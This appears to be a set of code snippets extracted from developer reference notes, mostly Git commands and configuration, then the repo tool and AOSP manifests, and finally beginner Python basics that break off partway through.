  -f body="Discussion body"

.git/
├── HEAD               # Points to current branch
├── config             # Repository-specific configuration
├── description        # Repository description (for GitWeb)
├── hooks/             # Client and server-side hook scripts
├── info/              # Global exclude patterns
│   └── exclude
├── objects/           # All Git objects (commits, trees, blobs)
│   ├── info/
│   └── pack/          # Packed objects for efficiency
├── refs/              # References to commits
│   ├── heads/         # Local branches
│   ├── remotes/       # Remote branches
│   └── tags/          # Tags
├── logs/              # Reference logs
├── index              # Staging area (binary)
└── packed-refs        # Packed references for efficiency

# View current HEAD
cat .git/HEAD

# List all references
git show-ref

# View repository config
cat .git/config

# Inspect staging area
git ls-files --stage

# View object database
find .git/objects -type f

# Initialize new repository
git init
git init project-name
git init --bare repo.git  # Bare repository (no working tree)

# Initialize with specific branch name
git init --initial-branch=main
git init -b main

# Initialize with template
git init --template=/path/to/template

# Reinitialize existing repository (safe operation)
git init

# Local (repository-specific)
git config user.name "John Doe"
git config user.email "john@example.com"

# Global (user-level)
git config --global core.editor "vim"
git config --global init.defaultBranch main

# System (all users)
git config --system core.compression 9

# View configuration hierarchy
git config --list --show-origin

# Edit config file directly
git config --edit
git config --global --edit
git config --system --edit

# Set file permissions
git config core.fileMode true

# Handle line endings
git config core.autocrlf input     # Linux/macOS
git config core.autocrlf true      # Windows

# Ignore file permissions
git config core.fileMode false

# Set default push behavior
git config push.default simple

# Enable rerere (reuse recorded resolution)
git config rerere.enabled true

# Set default pull strategy
git config pull.rebase false   # Merge (default)
git config pull.rebase true    # Rebase
git config pull.ff only        # Fast-forward only

# Clone via HTTPS
git clone https://github.com/user/repo.git
git clone https://github.com/user/repo.git myproject

# Clone via SSH
git clone git@github.com:user/repo.git

# Clone specific branch
git clone -b develop https://github.com/user/repo.git

# Shallow clone (limited history)
git clone --depth 1 https://github.com/user/repo.git
git clone --shallow-since=2023-01-01 https://github.com/user/repo.git

# Clone single branch
git clone --single-branch --branch main https://github.com/user/repo.git

# Clone bare repository
git clone --bare https://github.com/user/repo.git repo.git

# Clone mirror (complete copy including all refs)
git clone --mirror https://github.com/user/repo.git

# Clone with submodules
git clone --recursive https://github.com/user/repo.git
git clone --recurse-submodules https://github.com/user/repo.git

# Partial clone (lazy fetch)
git clone --filter=blob:none https://github.com/user/repo.git
git clone --filter=tree:0 https://github.com/user/repo.git

# Clone with sparse checkout
git clone --sparse https://github.com/user/repo.git
cd repo
git sparse-checkout init --cone
git sparse-checkout set src/ docs/

# Deepen shallow clone
git fetch --deepen=100
git fetch --unshallow  # Fetch complete history

# Fetch specific branch in shallow repo
git remote set-branches origin 'feature/*'
git fetch --depth 1 origin feature/new

# Prune old history
git fetch --depth=1

# Add remote
git remote add origin https://github.com/user/repo.git
git remote add upstream https://github.com/original/repo.git

# List remotes
git remote -v
git remote show origin

# Rename remote
git remote rename origin upstream

# Change remote URL
git remote set-url origin git@github.com:user/repo.git
git remote set-url --add origin https://gitlab.com/user/repo.git

# Remove remote
git remote remove origin
git remote rm origin

# View remote branches
git branch -r
git branch -a  # All branches (local + remote)

# Track remote branch
git checkout -b feature origin/feature
git checkout --track origin/feature
git branch -u origin/feature  # Set upstream for current branch

# View tracking relationships
git branch -vv

# Fetch from remote
git fetch origin
git fetch --all  # Fetch from all remotes
git fetch --prune  # Remove deleted remote branches

# Pull changes
git pull origin main
git pull --rebase origin main

# Push to remote
git push origin main
git push -u origin feature  # Set upstream and push
git push --all origin  # Push all branches
git push --tags  # Push tags
git push --force-with-lease  # Safer force push

# Setup multiple remotes for push
git remote set-url --add --push origin git@github.com:user/repo.git
git remote set-url --add --push origin git@gitlab.com:user/repo.git

# Verify configuration
git remote -v

# Push to specific remote
git push github main
git push gitlab main

# Pull from specific remote
git pull upstream main

# Delete remote branch
git push origin --delete feature-branch
git push origin :feature-branch  # Older syntax

# Clean up stale remote references
git remote prune origin
git fetch --prune

# Update remote branch
git push origin main:main
git push origin local-branch:remote-branch

# Push all tags
git push origin --tags

# Delete remote tag
git push origin --delete tag-name
git push origin :refs/tags/tag-name

monorepo/
├── services/
│   ├── api/
│   ├── web/
│   └── mobile/
├── packages/
│   ├── shared-ui/
│   └── utils/
├── tools/
└── docs/

# Use sparse checkout for large monorepos
git sparse-checkout init --cone
git sparse-checkout set services/api packages/shared-ui

# Use shallow clone for CI/CD
git clone --depth 1 --filter=blob:none https://repo.git

# Tag strategy for monorepos
git tag api-v1.2.0
git tag web-v2.0.0
git tag shared-ui-v0.5.0

# Use git submodules
git submodule add https://github.com/user/lib.git libs/lib

# Use meta-repositories
git clone https://github.com/org/meta-repo.git
cd meta-repo
./scripts/clone-all.sh

# Use repo tool (Android-style)
repo init -u https://github.com/org/manifest.git
repo sync

# 1. Fork repository on GitHub

# 2. Clone your fork
git clone git@github.com:yourname/repo.git
cd repo

# 3. Add upstream remote
git remote add upstream https://github.com/original/repo.git

# 4. Create feature branch
git checkout -b feature/new-feature

# 5. Keep fork updated
git fetch upstream
git checkout main
git merge upstream/main
git push origin main

# 6. Work on feature
git add .
git commit -m "Add new feature"
git push origin feature/new-feature

# 7. Create pull request on GitHub

# 8. Update PR with upstream changes
git fetch upstream
git rebase upstream/main
git push --force-with-lease origin feature/new-feature

# Branch structure
main          # Production code
develop       # Integration branch
feature/*     # Feature branches
release/*     # Release preparation
hotfix/*      # Production fixes

# Start feature
git checkout -b feature/user-auth develop

# Finish feature
git checkout develop
git merge --no-ff feature/user-auth
git branch -d feature/user-auth
git push origin develop

# Start release
git checkout -b release/1.0.0 develop
# Bump version, update changelog
git commit -m "Prepare release 1.0.0"

# Finish release
git checkout main
git merge --no-ff release/1.0.0
git tag -a v1.0.0 -m "Release 1.0.0"
git checkout develop
git merge --no-ff release/1.0.0
git branch -d release/1.0.0

# Hotfix
git checkout -b hotfix/1.0.1 main
# Fix critical bug
git commit -m "Fix critical bug"
git checkout main
git merge --no-ff hotfix/1.0.1
git tag -a v1.0.1
git checkout develop
git merge --no-ff hotfix/1.0.1
git branch -d hotfix/1.0.1

# Main workflow
git checkout main
git pull origin main
git checkout -b feature/quick-fix
# Make changes
git commit -m "Quick fix"
git push origin feature/quick-fix
# Create PR, review, merge quickly

# Feature flags for incomplete features
if (featureFlags.newUI) {
  // New UI code
} else {
  // Old UI code
}

# Continuous integration
# All commits must pass tests before merge

# Add submodule
git submodule add https://github.com/user/lib.git libs/lib
git submodule add -b main https://github.com/user/lib.git libs/lib

# Clone repository with submodules
git clone --recursive https://github.com/user/repo.git

# Initialize submodules after clone
git submodule init
git submodule update

# Update submodules
git submodule update --remote
git submodule update --remote --merge

# Update specific submodule
git submodule update --remote libs/lib

# Execute command in all submodules
git submodule foreach git pull origin main
git submodule foreach 'git checkout main && git pull'

# Remove submodule
git submodule deinit libs/lib
git rm libs/lib
rm -rf .git/modules/libs/lib

# Change submodule URL
git config submodule.libs/lib.url https://new-url.git
git submodule sync libs/lib
git submodule update --remote libs/lib

# Pin submodule to specific commit
cd libs/lib
git checkout abc1234
cd ../..
git add libs/lib
git commit -m "Pin lib to specific version"

# View submodule status
git submodule status
git submodule summary

# Recursive submodule operations
git clone --recursive --shallow-submodules https://github.com/user/repo.git
git submodule update --init --recursive

# .gitmodules file
[submodule "libs/lib"]
    path = libs/lib
    url = https://github.com/user/lib.git
    branch = main
    update = merge

# Ignore changes in submodule
git config submodule.libs/lib.ignore dirty
git config submodule.libs/lib.ignore untracked
git config submodule.libs/lib.ignore all

# Set default update strategy
git config submodule.recurse true
git config submodule.libs/lib.update merge

# Add subtree
git subtree add --prefix=lib https://github.com/user/lib.git main --squash

# Pull updates from subtree
git subtree pull --prefix=lib https://github.com/user/lib.git main --squash

# Push changes to subtree
git subtree push --prefix=lib https://github.com/user/lib.git main

# Split subtree into separate branch
git subtree split --prefix=lib -b lib-only

# Add subtree from existing code
git remote add lib-origin https://github.com/user/lib.git
git subtree add --prefix=lib lib-origin main

# Migrate from submodule to subtree
git submodule deinit libs/lib
git rm libs/lib
rm -rf .git/modules/libs/lib
git subtree add --prefix=libs/lib https://github.com/user/lib.git main --squash

# Garbage collection
git gc
git gc --aggressive  # More thorough, slower

# Prune unreachable objects
git prune
git prune --dry-run  # See what would be deleted

# Clean up repository
git clean -n   # Dry run
git clean -fd  # Remove untracked files and directories
git clean -fdx # Include ignored files

# Repack objects
git repack
git repack -a -d -f --depth=250 --window=250

# Optimize repository
git gc --aggressive --prune=now

# Reduce repository size
git reflog expire --expire=now --all
git gc --prune=now --aggressive

# Verify repository integrity
git fsck
git fsck --full
git fsck --unreachable

# Check object database
git count-objects -v
git count-objects -vH  # Human-readable

# Verify connectivity
git fsck --connectivity-only

# Find corrupted objects
git fsck --lost-found

# Repository size
du -sh .git/

# Object count and size
git count-objects -v

# Largest objects
git rev-list --objects --all |
  git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' |
  sed -n 's/^blob //p' |
  sort -rnk2 |
  head -20

# Commit count by author
git shortlog -sn

# Repository activity
git log --all --oneline --graph --decorate

# File change frequency
git log --all --format=format: --name-only | sort | uniq -c | sort -rn | head -20

# Create backup
git bundle create repo-backup.bundle --all
git clone repo-backup.bundle repo-restored

# Incremental backup
git bundle create repo-incremental.bundle main ^backup-branch
git bundle verify repo-backup.bundle

# Mirror repository
git clone --mirror https://github.com/user/repo.git backup-repo.git
cd backup-repo.git
git remote update

# Export repository
git fast-export --all > repo-export.txt
git fast-import < repo-export.txt

# Recover deleted branch
git reflog
git checkout -b recovered-branch abc1234

# Recover deleted commits
git fsck --lost-found
git show <dangling-commit-hash>
git cherry-pick <hash>

# Create template directory
mkdir -p ~/.git-templates/hooks

# Add template files
cat > ~/.git-templates/hooks/pre-commit << 'EOF'
#!/bin/bash
# Run linter before commit
npm run lint
EOF
chmod +x ~/.git-templates/hooks/pre-commit

# Configure Git to use template
git config --global init.templateDir ~/.git-templates

# Initialize with template
git init  # Uses global template
git init --template=/path/to/template

.git-templates/
├── hooks/
│   ├── pre-commit
│   ├── commit-msg
│   ├── pre-push
│   └── post-merge
├── info/
│   └── exclude
└── description

*.swp
*.swo
*~
.DS_Store
.idea/
.vscode/

#!/bin/bash
# Enforce commit message format
commit_msg=$(cat "$1")
pattern="^(feat|fix|docs|style|refactor|test|chore):"

if ! echo "$commit_msg" | grep -qE "$pattern"; then
    echo "Error: Commit message must start with type (feat|fix|docs|...)"
    exit 1
fi

# Clone SVN repository
git svn clone https://svn.example.com/repo --stdlayout

# Or with custom layout
git svn clone https://svn.example.com/repo \
  --trunk=main \
  --branches=branches \
  --tags=tags

# Convert authors
cat > authors.txt << EOF
svnuser = Git User <user@example.com>
EOF
git svn clone --authors-file=authors.txt https://svn.example.com/repo

# Clean up
git remote add origin https://github.com/user/repo.git
git push -u origin main

# Use hg-git plugin
hg bookmark -r default main
git clone hg::https://hg.example.com/repo

# Or use fast-export
git init repo
cd repo
hg-fast-export.sh -r /path/to/hg/repo
git remote add origin https://github.com/user/repo.git
git push -u origin main

# Split subdirectory into new repo
git filter-branch --subdirectory-filter subdir -- --all

# Or use filter-repo (faster, recommended)
git filter-repo --path subdir/

# Create new repository
git remote add origin https://github.com/user/new-repo.git
git push -u origin main

# Split by path patterns
git filter-repo --path src/module1/ --path docs/module1/

# Merge multiple repos into one
git remote add repo1 https://github.com/user/repo1.git
git fetch repo1
git merge repo1/main --allow-unrelated-histories

# Move to subdirectory
git filter-repo --to-subdirectory-filter repo1/

# Repeat for other repositories
git remote add repo2 https://github.com/user/repo2.git
git fetch repo2
git filter-repo --to-subdirectory-filter repo2/
git merge repo2/main --allow-unrelated-histories

# Remove sensitive data
git filter-branch --tree-filter 'rm -f passwords.txt' HEAD
# Better: use filter-repo
git filter-repo --invert-paths --path passwords.txt

# Change author information
git filter-branch --env-filter '
if [ "$GIT_COMMITTER_EMAIL" = "old@example.com" ]; then
    export GIT_COMMITTER_NAME="New Name"
    export GIT_COMMITTER_EMAIL="new@example.com"
fi
if [ "$GIT_AUTHOR_EMAIL" = "old@example.com" ]; then
    export GIT_AUTHOR_NAME="New Name"
    export GIT_AUTHOR_EMAIL="new@example.com"
fi
' --tag-name-filter cat -- --branches --tags

# Remove large files
git filter-repo --strip-blobs-bigger-than 10M

# Simplify history
git filter-branch --commit-filter '
    if [ "$GIT_AUTHOR_NAME" = "Temporary User" ]; then
        skip_commit "$@"
    else
        git commit-tree "$@"
    fi
' HEAD

# Add worktree
git worktree add ../project-feature1 feature1
git worktree add -b feature2 ../project-feature2

# List worktrees
git worktree list

# Remove worktree
git worktree remove ../project-feature1
git worktree prune

# Lock/unlock worktree
git worktree lock ../project-feature1
git worktree unlock ../project-feature1

# Move worktree
git worktree move ../project-feature1 ../new-location

# Enable sparse checkout
git sparse-checkout init
git sparse-checkout init --cone  # Cone mode (recommended)

# Set patterns
git sparse-checkout set src/ docs/
git sparse-checkout add tests/

# View patterns
git sparse-checkout list

# Disable sparse checkout
git sparse-checkout disable

# Blob-less clone
git clone --filter=blob:none https://github.com/user/huge-repo.git

# Tree-less clone
git clone --filter=tree:0 https://github.com/user/huge-repo.git

# Combine with shallow clone
git clone --depth=1 --filter=blob:none https://github.com/user/repo.git

# Fetch missing objects
git fetch origin

# Clone with reference
git clone --reference /path/to/original /path/to/clone

# Add reference to existing repo
git repack -a -d
git clone --reference /path/to/reference https://github.com/user/repo.git

# Dissociate from reference
git repack -a -d
rm -rf .git/objects/info/alternates

# System-wide (/etc/gitconfig)
git config --system core.editor vim

# User-level (~/.gitconfig)
git config --global user.name "John Doe"

# Repository-level (.git/config)
git config user.email john@project.com

# Worktree-level (.git/config.worktree)
git config --worktree core.sparseCheckout true

# View all configs with origin
git config --list --show-origin
git config --list --show-scope

[user]
    name = John Doe
    email = personal@example.com

[includeIf "gitdir:~/work/"]
    path = ~/.gitconfig-work

[includeIf "gitdir:~/projects/opensource/"]
    path = ~/.gitconfig-opensource

[user]
    email = john.doe@company.com

# Reuse recorded resolutions
git config rerere.enabled true
git config rerere.autoUpdate true

# Default merge strategy
git config merge.strategy recursive
git config merge.conflictStyle diff3

# Commit signing
git config commit.gpgSign true
git config user.signingKey ABC123

# Push configuration
git config push.default simple
git config push.followTags true
git config push.autoSetupRemote true

# Diff and merge tools
git config diff.tool vimdiff
git config merge.tool meld
git config mergetool.keepBackup false

# Performance settings
git config core.preloadIndex true
git config core.fscache true
git config gc.auto 256

# Security
git config transfer.fsckObjects true
git config receive.fsckObjects true
git config fetch.fsckObjects true

# Line endings
* text=auto
*.sh text eol=lf
*.bat text eol=crlf

# Binary files
*.png binary
*.jpg binary
*.pdf binary

# Diff drivers
*.ipynb diff=jupyternotebook
*.json diff=json

# Merge strategies
Makefile merge=union
CHANGELOG.md merge=union

# Export settings
.gitattributes export-ignore
.gitignore export-ignore
tests/ export-ignore

# Language statistics
docs/* linguist-documentation
vendor/* linguist-vendored
*.js linguist-language=JavaScript

# Pre-commit: Run before commit
.git/hooks/pre-commit

# Prepare-commit-msg: Modify commit message
.git/hooks/prepare-commit-msg

# Commit-msg: Validate commit message
.git/hooks/commit-msg

# Post-commit: Run after commit
.git/hooks/post-commit

# Pre-push: Run before push
.git/hooks/pre-push

# Post-checkout: Run after checkout
.git/hooks/post-checkout

# Post-merge: Run after merge
.git/hooks/post-merge

# Pre-rebase: Run before rebase
.git/hooks/pre-rebase

# Pre-receive: Run before accepting push
.git/hooks/pre-receive

# Update: Run for each branch being updated
.git/hooks/update

# Post-receive: Run after accepting push
.git/hooks/post-receive

# Post-update: Run after all refs updated
.git/hooks/post-update

#!/bin/bash
npm test
if [ $? -ne 0 ]; then
    echo "Tests failed. Commit aborted."
    exit 1
fi

#!/bin/bash
commit_msg_file=$1
commit_msg=$(cat "$commit_msg_file")
pattern="^(feat|fix|docs|style|refactor|test|chore)(\(.+\))?: .+"

if ! echo "$commit_msg" | grep -qE "$pattern"; then
    echo "Invalid commit message format"
    echo "Format: <type>(<scope>): <subject>"
    exit 1
fi

#!/bin/bash
while read local_ref local_sha remote_ref remote_sha; do
    if [[ "$remote_ref" == "refs/heads/main" ]] && [[ "$local_sha" != "$remote_sha" ]]; then
        echo "Error: Cannot force push to main branch"
        exit 1
    fi
done

# Enable filesystem cache
git config core.fscache true

# Enable preload index
git config core.preloadIndex true

# Use protocol v2
git config protocol.version 2

# Optimize garbage collection
git config gc.auto 256
git config gc.autoPackLimit 50

# Use commit graph
git config core.commitGraph true
git config gc.writeCommitGraph true
git commit-graph write --reachable

# Enable parallel processing
git config pack.threads 0  # Auto-detect CPU count

# Enable fsck on fetch
git config fetch.fsckObjects true
git config receive.fsckObjects true
git config transfer.fsckObjects true

# Sign commits
git config commit.gpgSign true

# Protect against tag replacement
git config receive.denyNonFastForwards true
git config receive.denyDeletes true

# Verify commit signatures
git log --show-signature
git verify-commit HEAD

# Scan for secrets before commit
# Use tools like git-secrets or gitleaks
git secrets --scan

# Regular maintenance
git fetch --prune
git remote prune origin
git gc --auto

# Clean up branches
git branch --merged | grep -v "\*" | xargs -n 1 git branch -d

# Update submodules
git submodule update --remote --merge

# Verify repository health
git fsck --full

# Optimize periodically
git repack -a -d -f --depth=250 --window=250
git gc --aggressive

# Verify integrity
git fsck --full

# Recover from corruption
git reflog expire --expire=now --all
git gc --prune=now

# Clone fresh copy if needed
git clone --mirror corrupt-repo fresh-repo

# Find large files
git rev-list --objects --all |
  git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' |
  awk '/^blob/ {print substr($0,6)}' |
  sort -nk2 |
  tail -20

# Remove large files
git filter-repo --strip-blobs-bigger-than 10M

# Reduce pack size
git repack -a -d -f --depth=250 --window=250

# Reset submodules
git submodule deinit --all -f
git submodule update --init --recursive

# Fix detached HEAD in submodule
cd submodule
git checkout main
cd ..
git add submodule

# Use ours or theirs
git checkout --ours file.bin
git checkout --theirs file.bin

# Configure merge driver
git config merge.ours.driver true
# In .gitattributes:
# *.bin merge=ours

# Create branch from detached HEAD
git checkout -b recovery-branch

# Return to previous branch
git checkout -

# Recover lost commits
git reflog
git checkout -b recovery <commit-hash>

git reflog
git checkout -b recovered-branch <commit-hash>

git reflog
git reset --hard <commit-before-reset>

# Create revert commit
git revert <commit-hash>

# Or revert multiple commits
git revert <oldest-hash>..<newest-hash>

# Last commit (not pushed)
git commit --amend -m "Corrected message"

# Older commit
git rebase -i <commit-before>^
# Change "pick" to "reword" for commit

# Python 3.6 or later
python3 --version

# Git 2.0 or later
git --version

# curl or wget
curl --version

# Create bin directory in home (if not exists)
mkdir -p ~/bin

# Download repo launcher script
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo

# Make it executable
chmod a+x ~/bin/repo

# Add to PATH (add to ~/.bashrc or ~/.zshrc)
export PATH=~/bin:$PATH

# Verify installation
repo version

# Debian/Ubuntu
sudo apt install repo

# Arch Linux
sudo pacman -S repo

# macOS (via Homebrew)
brew install repo

.repo/
 manifests/          # Git repo with manifest files
    default.xml     # Main manifest
 manifests.git/      # Bare Git repo of manifests
 manifest.xml        # Symlink to active manifest
 repo/               # Repo tool source code
 projects/           # Object storage for all Git repos
 project-objects/    # Shared Git objects

<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <!-- Define remote servers -->
  <remote name="aosp"
          fetch="https://android.googlesource.com/"
          review="https://android-review.googlesource.com/" />

  <!-- Default settings for projects -->
  <default remote="aosp"
           revision="main"
           sync-j="4" />

  <!-- Individual projects -->
  <project path="build" name="platform/build" />
  <project path="frameworks/base" name="platform/frameworks/base" />
  <project path="external/sqlite" name="platform/external/sqlite" />
</manifest>

# Basic initialization
repo init -u <manifest-url>

# Specify branch/tag
repo init -u <manifest-url> -b <branch>

# AOSP example - latest Android
repo init -u https://android.googlesource.com/platform/manifest

# AOSP example - specific version (Android 14)
repo init -u https://android.googlesource.com/platform/manifest -b android-14.0.0_r1

# Specify manifest file
repo init -u <manifest-url> -m <manifest-file.xml>

# Shallow clone (save space, recent history only)
repo init -u <manifest-url> --depth=1

# Sync all projects
repo sync

# Sync specific projects
repo sync <project1> <project2>

# Parallel sync (4 jobs)
repo sync -j4

# Force sync (discard local changes)
repo sync -d

# Sync only current branch
repo sync -c

# Quiet mode
repo sync -q

# Network-only (no checkout)
repo sync -n

# Start branch in specific projects
repo start <branch-name> <project1> <project2>

# Start branch in all projects
repo start <branch-name> --all

# Example: new feature branch
repo start feature-xyz frameworks/base system/core

# Upload all projects with changes
repo upload

# Upload specific projects
repo upload <project1> <project2>

# Upload without prompts (current branch)
repo upload --cbr

# Upload to specific reviewers
repo upload --re=reviewer@example.com

# Set topic
repo upload -t <topic-name>

$ repo upload
Upload project frameworks/base/ to remote branch main:
  branch feature-xyz ( 3 commits, Wed Nov 19 15:30:00 2025):
         a1b2c3d Fix crash in ActivityManager
         d4e5f6g Add new API for notifications
         g7h8i9j Update documentation
to https://android-review.googlesource.com/ (y/N)? y

# Download specific change
repo download <project> <change-number>/<patch-set>

# Example
repo download frameworks/base 12345/2

# Status of all projects
repo status

# Status of specific projects
repo status <project1> <project2>

# Short output (only project names)
repo status -j1

project frameworks/base/                branch feature-xyz
 -m     ActivityManager.java
 -m     NotificationManager.java
 --     new_file.java

Legend:
 -m = modified
 -d = deleted
 -a = added
 -- = untracked

# Diff all projects
repo diff

# Diff specific projects
repo diff <project1> <project2>

# Run git command in all projects
repo forall -c '<command>'

# Example: show branch in all projects
repo forall -c 'git branch'

# Example: clean all projects
repo forall -c 'git clean -fd'

# Example: show status with project name
repo forall -c 'echo $REPO_PROJECT; git status -s'

# With project filter
repo forall frameworks/* -c 'git log --oneline -5'

# List all projects
repo list

# Show repo info
repo info

# Prune (delete) merged branches
repo prune

# Abandon (delete) branches
repo abandon <branch-name> <project>

# Show manifest
repo manifest

# Show current version
repo version

# Self-update repo tool
repo selfupdate

# Create workspace directory
mkdir aosp
cd aosp

# Initialize for latest Android
repo init -u https://android.googlesource.com/platform/manifest -b main

# Or initialize for specific version (Android 14)
repo init -u https://android.googlesource.com/platform/manifest -b android-14.0.0_r1

# Sync (this will take a while - 100GB+)
repo sync -j$(nproc)

# Start a new branch for your work
repo start feature-my-changes frameworks/base system/core

# Make your changes
cd frameworks/base
# ... edit files ...

# Check what changed
repo status
repo diff

# Commit in each project
cd frameworks/base
git add .
git commit -m "Add new feature to framework"

cd ../../system/core
git add .
git commit -m "Add corresponding changes to system"

# Upload changes to Gerrit
cd ~/aosp
repo upload

# Or upload specific projects
repo upload frameworks/base system/core

# Get latest updates
repo sync -j$(nproc)

# Sync only current branch (faster)
repo sync -c -j$(nproc)

# Switch to different Android version
repo init -b android-13.0.0_r1
repo sync -j$(nproc)

<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <!-- Remote definitions -->
  <remote name="aosp"
          fetch="https://android.googlesource.com/"
          review="https://android-review.googlesource.com/" />

  <remote name="github"
          fetch="https://github.com/" />

  <!-- Default settings -->
  <default remote="aosp"
           revision="refs/heads/main"
           sync-j="4"
           sync-c="true" />

  <!-- Projects -->
  <project path="build" name="platform/build" groups="pdk">
    <copyfile src="core/root.mk" dest="Makefile" />
    <linkfile src="CleanSpec.mk" dest="build/CleanSpec.mk" />
  </project>

  <project path="frameworks/base"
           name="platform/frameworks/base"
           groups="pdk-cw-fs,pdk-fs" />

  <project path="external/sqlite"
           name="platform/external/sqlite"
           groups="pdk" />

  <!-- Project from different remote -->
  <project path="external/mylib"
           name="username/mylib"
           remote="github"
           revision="v1.0" />

  <!-- Project with specific branch -->
  <project path="vendor/custom"
           name="platform/vendor/custom"
           revision="refs/heads/custom-branch" />
</manifest>

# Create local manifests directory
mkdir -p .repo/local_manifests

# Create custom manifest
cat > .repo/local_manifests/myprojects.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <remote name="github"
          fetch="https://github.com/" />

  <project path="external/myapp"
           name="username/myapp"
           remote="github"
           revision="main" />

  <!-- Remove a project from main manifest -->
  <remove-project name="platform/external/sqlite" />
</manifest>
EOF

# Sync to apply changes
repo sync

# Show effective manifest (with all includes)
repo manifest -o current.xml

# Show revision manifest (locked to specific commits)
repo manifest -r -o snapshot.xml

<!-- .repo/local_manifests/custom.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <remote name="gitlab"
          fetch="https://gitlab.com/" />

  <project path="vendor/mycompany/app"
           name="mycompany/android-app"
           remote="gitlab"
           revision="develop" />
</manifest>

<!-- .repo/local_manifests/forks.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <remote name="myfork"
          fetch="https://github.com/myusername/" />

  <!-- Remove original -->
  <remove-project name="platform/frameworks/base" />

  <!-- Add fork -->
  <project path="frameworks/base"
           name="android-frameworks-base"
           remote="myfork"
           revision="my-custom-changes" />
</manifest>

# Initialize with groups
repo init -u <url> -g "pdk,pdk-cw-fs"

# Sync only specified groups
repo sync -g "pdk"

# Use parallel jobs (adjust to CPU cores)
repo sync -j$(nproc)

# Sync only current branch (faster, smaller)
repo sync -c

# Use shallow clones (less history, smaller)
repo init --depth=1

# Partial clone (Git 2.19+)
repo init --partial-clone

# Use local mirror for multiple workspaces
repo init -u <url> --reference=/path/to/mirror

# Create mirror
mkdir aosp-mirror
cd aosp-mirror
repo init -u https://android.googlesource.com/platform/manifest --mirror
repo sync -j$(nproc)

# Use mirror for workspace
cd ~/aosp-workspace
repo init -u https://android.googlesource.com/platform/manifest \
  --reference=/path/to/aosp-mirror
repo sync -j$(nproc)  # Much faster, uses mirror objects

# Start a branch to work
repo start my-branch <project>

# Safe sync (won't discard changes)
repo sync

# Check what will be lost before -d
repo status
repo diff

# Use shallow clone
repo init --depth=1

# Use sparse checkout (advanced)
# Edit .repo/manifests/default.xml groups

# Adjust parallel jobs
repo sync -j4  # Lower if network is bottleneck
repo sync -j16 # Higher if CPU/disk can handle

# Repo command fails
repo selfupdate  # Update repo tool
rm -rf .repo/repo && repo sync  # Reinstall repo

# Sync fails on specific project
repo sync <project>  # Sync just that project
repo forall <project> -c 'git reset --hard'  # Reset project

# Fix corrupt Git repository
cd <project>
rm -rf .git
cd ../..
repo sync <project>  # Re-clone

# Check repo status
repo info
repo version
repo manifest -o current.xml  # Verify manifest

# List all branches across projects
repo forall -c 'git branch -v'

# Find projects with uncommitted changes
repo status

# Create feature branch in multiple projects
repo start feature-x frameworks/* system/*

# Abandon (delete) branch
repo abandon feature-x --all

# Prune merged branches
repo prune

# Make changes and commit
cd <project>
git add .
git commit -m "Fix issue #123"

# Upload for review
cd ~/workspace
repo upload <project>

# Address review comments
cd <project>
git add .
git commit --amend  # Amend the commit
cd ..
repo upload <project>  # Upload new patch set

# Download someone else's change for testing
repo download <project> <change>/<patchset>

# Create manifest repo
mkdir my-manifests
cd my-manifests
git init

# Create default.xml
cat > default.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <remote name="origin" fetch="https://github.com/myorg/" />
  <default remote="origin" revision="main" />

  <project path="project-a" name="project-a" />
  <project path="project-b" name="project-b" />
</manifest>
EOF

git add default.xml
git commit -m "Initial manifest"
git remote add origin <manifest-repo-url>
git push -u origin main

# Use your manifest
repo init -u <manifest-repo-url>
repo sync

<!-- default.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <include name="remotes.xml" />
  <include name="core-projects.xml" />
  <include name="optional-projects.xml" />
</manifest>

<!-- In manifest -->
<project path="frameworks/base" name="..." groups="pdk,pdk-fs" />
<project path="packages/apps/Camera" name="..." groups="apps" />

<!-- Sync only specific groups -->

repo init -u <url> -g "pdk,apps"  # Only pdk and apps groups
repo init -u <url> -g "all,-notdefault"  # All except notdefault

# Variables (no declaration needed)
x = 10              # int
y = 3.14            # float
name = "Alice"      # str
is_valid = True     # bool

# Type checking and conversion
print(type(x))      # <class 'int'>
num_str = str(42)   # Convert to string
num_int = int("42") # Convert to int

# Basic print
print("Hello, World!")

# f-strings (Python 3.6+)
name = "Bob"
age = 30
print(f"{name} is {age} years old")

# .format() method
print("{} is {} years old".format(name, age))

# %-formatting (older style)
print("%s is %d years old" % (name, age))

# Creating lists
my_list = [1, 2, 3, 4, 5]
mixed = [1, "hello", 3.14, True]
empty = []

# Common operations
my_list.append(6)           # Add to end: [1, 2, 3, 4, 5, 6]
my_list.insert(0, 0)        # Insert at index: [0, 1, 2, 3, 4, 5, 6]
my_list.pop()               # Remove and return last: 6
my_list.remove(3)           # Remove first occurrence of value
element = my_list[2]        # Access by index
my_list[1] = 10             # Modify by index

# Slicing
first_three = my_list[0:3]  # [0, 1, 2]
last_two = my_list[-2:]     # Last 2 elements
reversed_list = my_list[::-1]  # Reverse

# List comprehensions
squares = [x**2 for x in range(10)]
evens = [x for x in range(20) if x % 2 == 0]

# Common methods
len(my_list)                # Length
my_list.sort()              # Sort in-place
sorted(my_list)             # Return sorted copy
my_list.reverse()           # Reverse in-place
my_list.count(2)            # Count occurrences
my_list.index(2)            # Find first index

# Creating tuples
my_tuple = (1, 2, 3, 4, 5)
single = (42,)              # Single element needs comma
empty = ()

# Accessing elements
first = my_tuple[0]
last = my_tuple[-1]
sub = my_tuple[1:3]

# Unpacking
x, y, z = (1, 2, 3)
a, *rest, b = (1, 2, 3, 4, 5)  # a=1, rest=[2,3,4], b=5

# Named tuples
from collections import namedtuple
Point = namedtuple('Point', ['x', 'y'])
p = Point(10, 20)
print(p.x, p.y)  # 10 20

# Creating dictionaries
person = {
    "name": "Alice",
    "age": 30,
    "city": "NYC"
}
empty = {}
from_keys = dict.fromkeys(['a', 'b', 'c'], 0)  # {'a': 0, 'b': 0, 'c': 0}

# Accessing and modifying
name = person["name"]       # KeyError if not exists
age = person.get("age", 0)  # Returns default if not exists
person["email"] = "alice@example.com"  # Add/update
del person["city"]          # Delete key

# Methods
person.keys()               # dict_keys(['name', 'age', 'email'])
